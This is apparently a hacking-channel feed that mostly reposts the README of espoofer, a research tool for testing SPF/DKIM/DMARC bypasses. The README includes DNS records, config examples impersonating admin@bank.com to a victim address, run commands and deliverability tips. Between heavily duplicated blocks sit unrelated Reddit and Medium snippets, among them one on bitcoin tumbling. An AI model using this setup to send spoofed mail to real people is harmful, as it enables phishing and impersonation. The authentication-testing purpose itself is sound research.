Figure 1. A case of our spoofing attacks on Gmail (Fixed, Demo video (https://youtu.be/xuKZpT0rsd0)) Why build this tool? Email spoofing is a big threat to both individuals and organizations (Yahoo breach (https://arstechnica.com/tech-policy/2017/03/fbi-hints-that-hack-of-semi-privileged-yahoo-employee-led-to-massive-breach/), John podesta (https://www.cbsnews.com/news/the-phishing-email-that-hacked-the-account-of-john-podesta/)). To address this problem, modern email services and websites employ authentication protocols -- SPF, DKIM, and DMARC -- to prevent email forgery. Our latest research shows that the implementation of those protocols suffers a number of security issues, which can be exploited to bypass SPF/DKIM/DMARC protections. Figure 1 demonstrates one of our spoofing attacks to bypass DKIM and DMARC in Gmail. For more technical details, please see our Black Hat USA 2020 talk (https://www.blackhat.com/us-20/briefings/schedule/#you-have-no-idea-who-sent-that-email--attacks-on-email-sender-authentication-19902) (with presentation video (https://www.youtube.com/watch?v=ar_lVqkWcHk&list=PL--A-gWJV1dJ19SyhkzklMC3C8ra1kK5-&index=5&t=30s&ab_channel=BlackHat)) or USENIX security 2020 paper (https://www.jianjunchen.com/publication/composition-kills-a-case-study-of-email-sender-authentication/). Black Hat USA 2020 slides (PDF): You have No Idea Who Sent that Email: 18 Attacks on (http://i.blackhat.com/USA-20/Thursday/us-20-Chen-You-Have-No-Idea-Who-Sent-That-Email-18-Attacks-On-Email-Sender-Authentication.pdf)Email Sender (https://www.kitploit.com/search/label/Email%20Sender) Authentication USENIX security 2020 paper (PDF): Composition Kills: A Case Study of Email Sender Authentication (https://www.usenix.org/system/files/sec20fall_chen-jianjun_prepub_0.pdf) Distinguished Paper Award Winner (https://www.usenix.org/conference/usenixsecurity20/presentation/chen-jianjun) In this repo, we summarize all test cases we found and integrate them into this tool to help administrators and security-practitioners quickly identify and locate such security issues. Please use the following citation if you do scentific research (Click me). Latex version: @inproceedings{chen-email,
author = {Jianjun Chen and Vern Paxson and Jian Jiang},
title = {Composition Kills: A Case Study of Email Sender Authentication},
booktitle = {29th {USENIX} Security Symposium ({USENIX} Security 20)},
year = {2020},
isbn = {978-1-939133-17-5},
pages = {2183--2199},
url = {https://www.usenix.org/conference/usenixsecurity20/presentation/chen-jianjun},
publisher = {{USENIX} Association},
month = aug,
} Word version: Jianjun Chen, Vern Paxson, and Jian Jiang. "Composition kills: A case study of email sender authentication." In 29th USENIX Security Symposium (USENIX Security 20), pp. 2183-2199. 2020. Installation Download this tool git clone https://github.com/chenjj/espoofer
Install dependencies sudo pip3 install -r requirements.txt
Python version: Python 3 (>=3.7). Usage espoofer has three work modes: server ('s', default mode), client ('c') and manual ('m'). In server mode, espoofer works like a mail server to test validation in receiving services. In client mode, espoofer works as an email client to test validation in sending services. Manual mode is used for debug purposes. 🍻 (15)">
___________________________
@hacking_Attack
@Hacking_Video
author = {Jianjun Chen and Vern Paxson and Jian Jiang},
title = {Composition Kills: A Case Study of Email Sender Authentication},
booktitle = {29th {USENIX} Security Symposium ({USENIX} Security 20)},
year = {2020},
isbn = {978-1-939133-17-5},
pages = {2183--2199},
url = {https://www.usenix.org/conference/usenixsecurity20/presentation/chen-jianjun},
publisher = {{USENIX} Association},
month = aug,
} Word version: Jianjun Chen, Vern Paxson, and Jian Jiang. "Composition kills: A case study of email sender authentication." In 29th USENIX Security Symposium (USENIX Security 20), pp. 2183-2199. 2020. Installation Download this tool git clone https://github.com/chenjj/espoofer
Install dependencies sudo pip3 install -r requirements.txt
Python version: Python 3 (>=3.7). Usage espoofer has three work modes: server ('s', default mode), client ('c') and manual ('m'). In server mode, espoofer works like a mail server to test validation in receiving services. In client mode, espoofer works as an email client to test validation in sending services. Manual mode is used for debug purposes. 🍻 (15)">
___________________________
@hacking_Attack
@Hacking_Video
YouTube
Email spoofing attacks on Gmail.com that can forge DKIM signatures and bypass DMARC (Fixed)
This video demos one of our attacks to impersonate security@facebook.com on Gmail.com and forge DKIM signatures (Note this demo has been fixed by Gmail). See our paper and slides for details.
Paper and slides are at https://www.blackhat.com/us-20/brief…
Paper and slides are at https://www.blackhat.com/us-20/brief…
Figure 2. Three types of attackers and their work modes Server mode To run espoofer in server mode, you need to have: 1) an IP address (1.2.3.4), which outgoing port 25 is not blocked by the ISP, and 2) a domain (attack.com). Domain configuration Set DKIM public key for attack.com selector._domainkey.attacker.com TXT "v=DKIM1; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNjwdrmp/gcbKLaGQfRZk+LJ6XOWuQXkAOa/lI1En4t4sLuWiKiL6hACqMrsKQ8XfgqN76mmx4CHWn2VqVewFh7QTvshGLywWwrAJZdQ4KTlfR/2EwAlrItndijOfr2tpZRgP0nTY6saktkhQdwrk3U0SZmG7U8L9IPj7ZwPKGvQIDAQAB"
Set SPF record for attack.com attack.com TXT "v=spf1 ip4:1.2.3.4 +all"
Configure the tool in config.py config ={
"attacker_site": b"attack.com", # attack.com
"legitimate_site_address": b"admin@bank.com", # legitimate.com
"victim_address": b"victim@victim.com", # victim@victim.com
"case_id": b"server_a1", # server_a1
}
You can list find the case_id of all test cases using -l option: python3 espoofer.py -l
Run the tool to send a spoofing email python3 espoofer.py
You can change case_id in the config.py or use -id option in the command line (https://www.kitploit.com/search/label/Command%20Line) to test different cases: python3 espoofer.py -id server_a1
Client mode To run epsoofer in client mode, you need to have an account on the target email services. This attack exploits the failure of some email services to perform sufficient validation of emails received from local MUAs. For example, attacker@gmail.com tries to impersonate admin@gmail.com. Configure the tool in config.py config ={
"legitimate_site_address": b"admin@gmail.com",
"victim_address": b"victim@victim.com",
"case_id": b"client_a1",
"client_mode": {
"sending_server": ("smtp.gmail.com", 587), # SMTP sending serve ip and port
"username": b"attacker@gmail.com", # Your account username and password
"password": b"your_passward_here",
},
}
You can list find the case_id of all test cases using -l option: python3 espoofer.py -l
Note: sending_server should be the SMTP sending server address, not the receiving server address. Run the tool to send a spoofing email python3 espoofer.py -m c
You can change case_id in the config.py and run it again, or you can use -id option in the command line: python3 espoofer.py -m c -id client_a1
Manual mode Here is an example of manual mode: python3 espoofer.py -m m -helo attack.com -mfrom -rcptto -data raw_msg_here -ip 127.0.0.1 -port 25
Screenshots A brief overview of test cases. 🍻 (17)">
___________________________
@hacking_Attack
@Hacking_Video
Set SPF record for attack.com attack.com TXT "v=spf1 ip4:1.2.3.4 +all"
Configure the tool in config.py config ={
"attacker_site": b"attack.com", # attack.com
"legitimate_site_address": b"admin@bank.com", # legitimate.com
"victim_address": b"victim@victim.com", # victim@victim.com
"case_id": b"server_a1", # server_a1
}
You can list find the case_id of all test cases using -l option: python3 espoofer.py -l
Run the tool to send a spoofing email python3 espoofer.py
You can change case_id in the config.py or use -id option in the command line (https://www.kitploit.com/search/label/Command%20Line) to test different cases: python3 espoofer.py -id server_a1
Client mode To run epsoofer in client mode, you need to have an account on the target email services. This attack exploits the failure of some email services to perform sufficient validation of emails received from local MUAs. For example, attacker@gmail.com tries to impersonate admin@gmail.com. Configure the tool in config.py config ={
"legitimate_site_address": b"admin@gmail.com",
"victim_address": b"victim@victim.com",
"case_id": b"client_a1",
"client_mode": {
"sending_server": ("smtp.gmail.com", 587), # SMTP sending serve ip and port
"username": b"attacker@gmail.com", # Your account username and password
"password": b"your_passward_here",
},
}
You can list find the case_id of all test cases using -l option: python3 espoofer.py -l
Note: sending_server should be the SMTP sending server address, not the receiving server address. Run the tool to send a spoofing email python3 espoofer.py -m c
You can change case_id in the config.py and run it again, or you can use -id option in the command line: python3 espoofer.py -m c -id client_a1
Manual mode Here is an example of manual mode: python3 espoofer.py -m m -helo attack.com -mfrom -rcptto -data raw_msg_here -ip 127.0.0.1 -port 25
Screenshots A brief overview of test cases. 🍻 (17)">
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
Leading source of security tools, hacking tools, cybersecurity and network security. Learn about new tools and updates in one place.
Bugs found with this tool Gmail.com DMARC bypass demo video, https://youtu.be/xuKZpT0rsd0 Outlook.com DMARC bypass video, https://youtu.be/IsWgAEbPaK0 Yahoo.com DMARC bypass video, https://youtu.be/DRepfStOruE Protonmail.com DMARC bypass video, https://youtu.be/bh4_SoPniMA CVE-2020-12272, OpenDMARC bypass bug report, https://sourceforge.net/p/opendmarc/tickets/237/ CVE-2019-20790, OpenDMARC and pypolicyd-spf bypass bug report, https://sourceforge.net/p/opendmarc/tickets/235/ Mail.ru DMARC bypass bug report on HackerOne, https://hackerone.com/reports/731878 Welcome to send a pull request to file your bug report here. Q&A How do I know if the email has bypassed DMARC authentication successfully? You can check it in the Authentication-results header in the raw message headers. If the header shows dmarc=pass, it means the email has passed the DMARC authentication. You can check some demos video here (https://www.youtube.com/playlist?list=PL--A-gWJV1dJ19SyhkzklMC3C8ra1kK5-). Why do emails fail to send? There are several possible reasons if you fail to send an email: 1) your ISP blocks outgoing emails to port 25 to prevent spam. In this case, you need to ask for permission from the ISP; 2) the IP address is in the spam list of the target email services. In many cases, you resolve the problem here, https://www.spamhaus.org/lookup/ ; 3) some email services check if there is a PTR record for the sending IP, you may also need to set the PTR record to bypass this check; 4) the email cannot pass the format validation of the target email service, you may want to try a different test case. Why the email goes to the spam folder? Any way to avoid this? Currently, espoofer focuses on bypassing SPF/DKIM/DMARC authentication and doesn't aim for spam filter bypass. But you could try to use a reputable sending IP address, domain, and benign message content to bypass the spam filter. Why I send an email successfully but the email didn't show up in either inbox or spam folder? In our prior experiences, some email services filter suspicious emails silently. When testing server_a5/a6, why I cannot set specical characters like "(" in the domain? You will need to set up your own authority DNS server, rather than use third-party DNS hosting services, as some DNS hosting services have restrictions on setting specical characters. See issue (https://github.com/chenjj/espoofer/issues/2#issuecomment-686918954). Credits Welcome to add more test cases.
Download Espoofer (https://github.com/chenjj/espoofer)
___________________________
@hacking_Attack
@Hacking_Video
Download Espoofer (https://github.com/chenjj/espoofer)
___________________________
@hacking_Attack
@Hacking_Video
YouTube
Email spoofing attacks on Gmail.com that can forge DKIM signatures and bypass DMARC (Fixed)
This video demos one of our attacks to impersonate security@facebook.com on Gmail.com and forge DKIM signatures (Note this demo has been fixed by Gmail). See our paper and slides for details.
Paper and slides are at https://www.blackhat.com/us-20/brief…
Paper and slides are at https://www.blackhat.com/us-20/brief…
Deep Web
Can someone explain the difference between bitcoin tumbling and simply exchanging bitcoin for monero?
I get the gist of each one. (at least, this is my understanding of each.)
Bitcoin tumbling : sending your bitcoins through a mixer, it gets exchanged with multiple other addresses, different amounts, different times, etc. At the end of it all, you have the same amount of bitcoins, except they now have no connection to your original wallet.
BTC for XMR: trading your BTC for someone else's monero. Now you have anonymous monero currency to spend.
my question: If what you're after is having anonymous cryptocurrency. Why would you choose one method over the other? How is the end goal of each one different?
submitted by /u/Old_Metal2046
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Can someone explain the difference between bitcoin tumbling and simply exchanging bitcoin for monero?
I get the gist of each one. (at least, this is my understanding of each.)
Bitcoin tumbling : sending your bitcoins through a mixer, it gets exchanged with multiple other addresses, different amounts, different times, etc. At the end of it all, you have the same amount of bitcoins, except they now have no connection to your original wallet.
BTC for XMR: trading your BTC for someone else's monero. Now you have anonymous monero currency to spend.
my question: If what you're after is having anonymous cryptocurrency. Why would you choose one method over the other? How is the end goal of each one different?
submitted by /u/Old_Metal2046
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Can someone explain the difference between bitcoin tumbling and...
This subreddit exists to debunk urban legends and share real verifiable information from the far reaches of the Tor dark web.
KitPloit - PenTest Tools!
Espoofer - An Email Spoofing Testing Tool That Aims To Bypass SPF/DKIM/DMARC And Forge DKIM Signatures
___________________________
@hacking_Attack
@Hacking_Video
Espoofer - An Email Spoofing Testing Tool That Aims To Bypass SPF/DKIM/DMARC And Forge DKIM Signatures
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
Espoofer - An Email Spoofing Testing Tool That Aims To Bypass SPF/DKIM/DMARC And Forge DKIM Signatures
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
North Korean Hackers Impersonate Major Crypto Investment Firm to Scam Startups
https://external-preview.redd.it/9a9X-pVXs7goIlQhX4P8DdUQp_ROfg9SEDCPNeN_eTU.jpg?width=640&crop=smart&auto=webp&s=2014e4620ae57662a2dde508031f510d235f563f submitted by /u/DrinkMoreCodeMore
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
North Korean Hackers Impersonate Major Crypto Investment Firm to Scam Startups
https://external-preview.redd.it/9a9X-pVXs7goIlQhX4P8DdUQp_ROfg9SEDCPNeN_eTU.jpg?width=640&crop=smart&auto=webp&s=2014e4620ae57662a2dde508031f510d235f563f submitted by /u/DrinkMoreCodeMore
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
North Korean Hackers Impersonate Major Crypto Investment Firm to...
Posted in r/hacking by u/DrinkMoreCodeMore • 1 point and 0 comments
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
FSB arrests REvil ransomware gang members
https://external-preview.redd.it/roATepclgHnzDregz-Nw20sef5_lQ1Mt9vA8c7QO6bg.jpg?width=640&crop=smart&auto=webp&s=f43f3edaf31a0034e661a8c0fa501b4c2ce10dae submitted by /u/DrinkMoreCodeMore
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
FSB arrests REvil ransomware gang members
https://external-preview.redd.it/roATepclgHnzDregz-Nw20sef5_lQ1Mt9vA8c7QO6bg.jpg?width=640&crop=smart&auto=webp&s=f43f3edaf31a0034e661a8c0fa501b4c2ce10dae submitted by /u/DrinkMoreCodeMore
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
FSB arrests REvil ransomware gang members
Posted in r/hacking by u/DrinkMoreCodeMore • 1 point and 0 comments
hacking: security in practice
LastPass
I have lastpass but the password on Facebook is my original one and the one the lastpass site is different. Is it supposed to be like that? If someone was to hack it do they need the original password or the new one lastpass created?
submitted by /u/Interesting_Stop_935
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
LastPass
I have lastpass but the password on Facebook is my original one and the one the lastpass site is different. Is it supposed to be like that? If someone was to hack it do they need the original password or the new one lastpass created?
submitted by /u/Interesting_Stop_935
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
LastPass
I have lastpass but the password on Facebook is my original one and the one the lastpass site is different. Is it supposed to be like that? If...
hacking: security in practice
Potential backdoor?
Hey guys, long story short i was playing grand theft auto and encountered a hacker that wasn't very family friendly. I then received an email from social club telling me i needed to change my password for security reason ( wich i didn't asked for ) so i did it. Everything went well then i realized, was it "really" a link from social club? I mean the link redirected me to the official site i also checked their mail and it was the good one but i'm a complete newbie with all this and i was wondering, by clicking that link, without downloading anything beside maybe the fact that in the worst case he can access my social club account, could he put a backdoor in any way? Sorry if this sound stupid but i do a lot of important things for work on my computer so i just want to be as carefull as i can, thanks
submitted by /u/Settk666
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Potential backdoor?
Hey guys, long story short i was playing grand theft auto and encountered a hacker that wasn't very family friendly. I then received an email from social club telling me i needed to change my password for security reason ( wich i didn't asked for ) so i did it. Everything went well then i realized, was it "really" a link from social club? I mean the link redirected me to the official site i also checked their mail and it was the good one but i'm a complete newbie with all this and i was wondering, by clicking that link, without downloading anything beside maybe the fact that in the worst case he can access my social club account, could he put a backdoor in any way? Sorry if this sound stupid but i do a lot of important things for work on my computer so i just want to be as carefull as i can, thanks
submitted by /u/Settk666
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Potential backdoor?
Hey guys, long story short i was playing grand theft auto and encountered a hacker that wasn't very family friendly. I then received an email from...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Hackday Albania VM
https://cdn-images-1.medium.com/max/901/0*6ij0yd7Xn7qmYphs.png
Makineyi indirebilirsiniz.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Hackday Albania VM
https://cdn-images-1.medium.com/max/901/0*6ij0yd7Xn7qmYphs.png
Makineyi indirebilirsiniz.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Hackday Albania VM
Makineyi indirebilirsiniz.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Article of the Day: Different Types of Malware see increases
https://cdn-images-1.medium.com/max/983/1*5KFT_a2BUzHP6rpJ2m7e3Q.jpeg
Encrypted & Fileless Malware Sees Big Growth — ThreatPost, Tara Seals, 10/4/21
Continue reading on Hybrid Analyst »
___________________________
@hacking_Attack
@Hacking_Video
Article of the Day: Different Types of Malware see increases
https://cdn-images-1.medium.com/max/983/1*5KFT_a2BUzHP6rpJ2m7e3Q.jpeg
Encrypted & Fileless Malware Sees Big Growth — ThreatPost, Tara Seals, 10/4/21
Continue reading on Hybrid Analyst »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Article of the Day: Different Types of Malware see increases
Encrypted & Fileless Malware Sees Big Growth — ThreatPost, Tara Seals, 10/4/21
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Cuentas de alto perfil de FIFA 22 fueron comprometidas mediante ingenierĂa social
https://cdn-images-1.medium.com/max/1536/0*MK6vtn6IxdsQ7_7z.jpg
PUBLICADO EN 14 ENERO, 2022POR EHACKING
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Cuentas de alto perfil de FIFA 22 fueron comprometidas mediante ingenierĂa social
https://cdn-images-1.medium.com/max/1536/0*MK6vtn6IxdsQ7_7z.jpg
PUBLICADO EN 14 ENERO, 2022POR EHACKING
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Cuentas de alto perfil de FIFA 22 fueron comprometidas mediante ingenierĂa social
PUBLICADO EN 14 ENERO, 2022POR EHACKING